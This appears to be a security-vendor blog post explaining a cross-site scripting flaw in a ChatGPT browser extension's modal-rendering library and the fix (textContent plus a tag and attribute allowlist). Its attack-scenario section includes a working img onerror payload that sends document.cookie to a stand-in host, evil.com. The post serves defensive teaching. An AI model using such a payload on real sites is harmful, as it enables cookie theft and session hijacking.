Back to Blog
critical SEVERITY9 min read

How Cross-Site Scripting (XSS) happens in JavaScript browser extensions and how to fix it

A cross-site scripting (XSS) vulnerability was discovered in `extension/lib/chatgpt.js` where the `chatgpt.alert()` function used `modalMsg.innerText` to set user-controlled content before passing it to `chatgpt.renderHTML()`, allowing injected HTML to be rendered unsanitized. The fix replaces `innerText` with `textContent` and introduces an allowlist of safe HTML tags and attributes inside `renderHTML()`. This prevents attackers from injecting arbitrary HTML or JavaScript through modal message

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Cross-Site Scripting (XSS) vulnerability (CWE-79) in the JavaScript file `extension/lib/chatgpt.js`, affecting the `chatgpt.alert()` function at line 288. The root cause is that `modalMsg.innerText` was used to assign user-controlled content, which was then processed by `chatgpt.renderHTML()` without tag or attribute sanitization — allowing attackers to inject and execute arbitrary HTML/JavaScript. The fix replaces `innerText` with `textContent` and adds an explicit allowlist of safe tags (`a`, `b`, `i`, `em`, `strong`, `br`, `span`, `p`, `code`, `pre`, `ul`, `ol`, `li`) and permitted attributes inside `renderHTML()`, blocking all non-allowlisted elements from being rendered.

Vulnerability at a Glance

cweCWE-79
fixReplace `innerText` with `textContent` and enforce an allowlist of safe tags and attributes inside `renderHTML()`
riskAttackers can inject and execute arbitrary HTML/JavaScript in modal dialogs rendered by browser extensions or web apps using this library
languageJavaScript
root cause`modalMsg.innerText` assigns user content as text but DOM re-parsing by `renderHTML()` treats it as markup, bypassing intended text-only assignment
vulnerabilityCross-Site Scripting (XSS)

How Cross-Site Scripting (XSS) Happens in JavaScript Browser Extensions and How to Fix It

Summary

A cross-site scripting (XSS) vulnerability was discovered in extension/lib/chatgpt.js where the chatgpt.alert() function used modalMsg.innerText to set user-controlled content before passing it to chatgpt.renderHTML(), allowing injected HTML to be rendered unsanitized. The fix replaces innerText with textContent and introduces an allowlist of safe HTML tags and attributes inside renderHTML(). This prevents attackers from injecting arbitrary HTML or JavaScript through modal message content in downstream consumers of this Node.js library.


Introduction

The extension/lib/chatgpt.js file is the core utility library for a ChatGPT browser extension, responsible for rendering modal dialogs, processing chat content, and managing UI interactions. At line 288, the chatgpt.alert() function contained a subtle but dangerous pattern: it assigned user-controlled content to modalMsg.innerText, then immediately passed that same DOM element to chatgpt.renderHTML().

On the surface, using innerText instead of innerHTML looks like a safety-conscious choice. It isn't — not when the element is then handed to a function that re-parses its content as HTML markup. This one-two punch created a direct path for cross-site scripting attacks in every downstream application consuming this library.


The Vulnerability Explained

The Problematic Code Pattern

Here is the exact vulnerable line at extension/lib/chatgpt.js:288:

// VULNERABLE — before the fix
modalTitle.textContent = title || '' ; modalMsg.innerText = msg || '' ; chatgpt.renderHTML(modalMsg)

At first glance, innerText seems safe — it's not innerHTML, after all. But the critical mistake is what happens next: chatgpt.renderHTML(modalMsg) is called on the same element. Let's look at what renderHTML does inside the vulnerable version:

// VULNERABLE renderHTML (before fix)
const reTags = /<([a-z\d]+)\b([^>]*)>([\s\S]*?)<\/\1>/g,
      reAttrs = /(\S+)=['"]?((?:.(?!['"]?\s+\S+=|[>']))+.)['"]?/g,
      nodeContent = node.childNodes
// ...
const elem = elems[0],
      [tagContent, tagName, tagAttrs, tagText] = elem.slice(0, 4),
      tagNode = document.createElement(tagName) ; tagNode.textContent = tagText

renderHTML() uses a regex (reTags) to scan the node's text content for HTML tag patterns like <tagName attrs>text</tagName>, then calls document.createElement(tagName) to build real DOM nodes from whatever tag names it finds — without validating whether those tag names are safe.

Why innerText Doesn't Protect You Here

innerText does prevent immediate HTML injection into the DOM. However, it does not prevent the text content itself from containing HTML-like strings. When renderHTML() reads node.childNodes and applies reTags regex matching, it operates on the raw text — including any <script>, <img onerror=...>, or <iframe> strings that were stored as plain text. The function then faithfully creates DOM elements from those strings, effectively re-injecting the attacker's payload as live HTML.

A Concrete Attack Scenario

Imagine a downstream application that calls chatgpt.alert() with content derived from a URL parameter, API response, or shared chat message:

// Downstream consumer — attacker controls `userMessage`
const userMessage = '<img src=x onerror="fetch(`https://evil.com/?c=`+document.cookie)">'
chatgpt.alert('Notice', userMessage)

Under the vulnerable code:
1. modalMsg.innerText = userMessage — stores the string as text, no DOM injection yet.
2. chatgpt.renderHTML(modalMsg) — regex matches <img src=x onerror="...">, calls document.createElement('img'), sets attributes, appends to DOM.
3. Browser fires onerror, exfiltrating cookies to the attacker's server.

The PR description also notes that fetched HTML from shared chat URLs was processed without sanitization before being written to popup windows via document.write() — a second, equally dangerous sink.

Real-World Impact

This library is described as a Node.js package whose vulnerabilities affect all downstream consumers. Any application using chatgpt.alert() with content that originates from external sources (API responses, user input, shared URLs) is exposed to:

  • Session hijacking via cookie theft
  • Credential harvesting through injected fake login forms
  • Malware distribution via drive-by download redirects
  • UI redressing to deceive users into unintended actions

The Fix

The fix addresses the vulnerability in two coordinated places within chatgpt.js.

Change 1: Replace innerText with textContent at Line 288

// BEFORE (vulnerable)
modalTitle.textContent = title || '' ; modalMsg.innerText = msg || '' ; chatgpt.renderHTML(modalMsg)

// AFTER (fixed)
modalTitle.textContent = title || '' ; modalMsg.textContent = msg || '' ; chatgpt.renderHTML(modalMsg)

This is a one-word change with significant security implications. textContent sets the node's text and never triggers HTML parsing, even when the content is subsequently read back. While innerText and textContent are often treated as interchangeable, innerText is layout-aware and interacts differently with the DOM in ways that can be exploited in rendering pipelines. Using textContent consistently ensures the raw string is stored as inert text.

Change 2: Tag and Attribute Allowlist in renderHTML()

The second change adds an explicit allowlist inside renderHTML() so that even if content reaches the rendering function, only known-safe tags are processed:

// AFTER (fixed) — new allowlist variables added
const reTags = /<([a-z\d]+)\b([^>]*)>([\s\S]*?)<\/\1>/g,
      reAttrs = /(\S+)=['"]?((?:.(?!['"]?\s+\S+=|[>']))+.)['"]?/g,
      nodeContent = node.childNodes,
      allowedTags = new Set(['a', 'b', 'i', 'em', 'strong', 'br', 'span', 'p', 'code', 'pre', 'ul', 'ol', 'li']),
      allowedAttrs = { a: ['href', 'target', 'rel'], span: ['class', 'style'], code: ['class'] }

And in the element processing loop:

// AFTER (fixed) — disallowed tags are skipped
if (!allowedTags.has(tagName)) continue // skip disallowed tags
const tagNode = document.createElement(tagName) ; tagNode.textContent = tagText

The allowedTags Set contains only formatting and structural elements that have no script execution capability: a, b, i, em, strong, br, span, p, code, pre, ul, ol, li. Tags like <script>, <img>, <iframe>, <svg>, and <object> — all common XSS vectors — are absent and will be silently skipped.

The allowedAttrs map further restricts which attributes each tag may carry. An <a> tag can have href, target, and rel, but not onclick or onmouseover. A <span> can have class and style, but not event handlers.

Defense in Depth

These two changes work together as defense-in-depth:

Layer Mechanism What it blocks
Input assignment textContent instead of innerText Prevents layout-aware re-parsing quirks
Rendering gate allowedTags.has(tagName) check Blocks <script>, <img>, <iframe>, <svg>, etc.
Attribute gate allowedAttrs map Blocks onerror, onclick, onload event handlers

Prevention & Best Practices

1. Never Mix Text Assignment with HTML Rendering on the Same Element

If you assign content to an element and then pass it to a function that re-parses that content as HTML, you must treat the assignment as HTML-unsafe regardless of which setter you use. Design rendering pipelines so that the trust boundary is explicit: either the content is always treated as plain text, or it goes through a sanitizer before any DOM node creation.

2. Use a Dedicated HTML Sanitization Library

For production applications, prefer battle-tested sanitization libraries over hand-rolled regex-based parsers:

  • DOMPurify — the gold standard for browser-side HTML sanitization
  • sanitize-html — Node.js-friendly with configurable allowlists
// Example using DOMPurify
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userContent, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'] })
modalMsg.innerHTML = clean

3. Prefer textContent Over innerText for Untrusted Data

textContent is the safest DOM property for assigning untrusted strings. It never triggers HTML parsing, never fires layout recalculations, and its behavior is consistent across browsers and rendering contexts.

4. Avoid document.write() with External Content

The PR description notes that fetched HTML from shared chat URLs was processed via document.write(). This is one of the most dangerous DOM APIs — it completely replaces the document and bypasses many browser security controls. Replace it with controlled DOM construction or sanitized innerHTML assignment.

5. Apply Content Security Policy (CSP)

A strong CSP header provides a browser-level backstop against XSS even when code-level defenses fail:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

OWASP & CWE References

  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • OWASP Top 10 A03:2021 — Injection (includes XSS)
  • OWASP XSS Prevention Cheat Sheet: comprehensive guidance on output encoding and DOM-based XSS prevention

Key Takeaways

  • innerText is not a sanitizer: Assigning user content via innerText and then passing the element to a rendering function is not safe — the rendering function reads back the text and can reconstruct HTML from it.
  • renderHTML() without an allowlist is a universal XSS gadget: Any function that calls document.createElement(tagName) with unvalidated tag names from user content can be weaponized to inject <script>, <img onerror=...>, or any other executable element.
  • Allowlists beat blocklists: The fix uses new Set([...safe tags...]) and skips anything not in the set. A blocklist approach (trying to block known-bad tags) will always miss novel vectors.
  • Defense in depth matters: Fixing only the innerTexttextContent change without also adding the allowlist in renderHTML() would leave the rendering layer exploitable through other code paths.
  • Library XSS has multiplied blast radius: Because chatgpt.js is a shared library, this single vulnerability affected every downstream consumer — fixing it in one place protected all of them simultaneously.

How Orbis AppSec Detected This

  • Source: User-controlled content passed as the msg argument to chatgpt.alert() — this can originate from API responses, URL parameters, or shared chat content fetched from external URLs.
  • Sink: chatgpt.renderHTML(modalMsg) at extension/lib/chatgpt.js:288, which calls document.createElement(tagName) with unvalidated tag names extracted from the node's text content via regex.
  • Missing control: No tag or attribute allowlist existed in renderHTML(), and innerText was used instead of textContent before passing the element to the renderer — allowing the text content to be re-interpreted as HTML markup.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • Fix: Replaced innerText with textContent at line 288 and added allowedTags Set and allowedAttrs map inside renderHTML() to reject all non-allowlisted elements.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a textbook example of how seemingly safe DOM APIs can become XSS vectors when combined with a rendering pipeline that lacks an allowlist. The chatgpt.alert() function in extension/lib/chatgpt.js used innerText — which many developers consider "the safe option" — but immediately undermined that choice by passing the element to renderHTML(), which reconstructed DOM nodes from the text content without validating tag names.

The two-part fix is elegant precisely because it addresses both layers: textContent closes the input-assignment gap, and the allowedTags Set closes the rendering gap. Together, they ensure that no matter how content reaches renderHTML(), only known-safe markup can ever be constructed.

For developers building browser extensions or UI libraries that process external content: always trace the full lifecycle of user-controlled data through your rendering pipeline. A string that looks inert at assignment can become executable HTML several function calls later.


References

Frequently Asked Questions

What is Cross-Site Scripting (XSS)?

XSS is a vulnerability where an attacker injects malicious scripts into content viewed by other users. When a browser renders attacker-controlled HTML or JavaScript, it executes in the victim's security context, enabling session theft, UI redress, or data exfiltration.

How do you prevent XSS in JavaScript DOM manipulation?

Always use `textContent` (never `innerHTML` or `innerText` when passing to an HTML renderer) for untrusted input, and enforce an explicit allowlist of permitted HTML tags and attributes before rendering any markup dynamically.

What CWE is Cross-Site Scripting?

XSS is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is escaping HTML entities enough to prevent XSS?

Escaping alone is insufficient when the escaped content is subsequently passed through an HTML rendering function like `renderHTML()`. You must also enforce a strict tag/attribute allowlist at the rendering layer to prevent bypass.

Can static analysis detect XSS in DOM manipulation code?

Yes. Static analysis tools like Semgrep, ESLint security plugins, and multi-agent AI scanners (as used here) can trace tainted data from user-controlled sources through dangerous sinks like `innerHTML`, `innerText`-to-renderer pipelines, and `document.write()` calls.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #205

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

critical

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

high

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the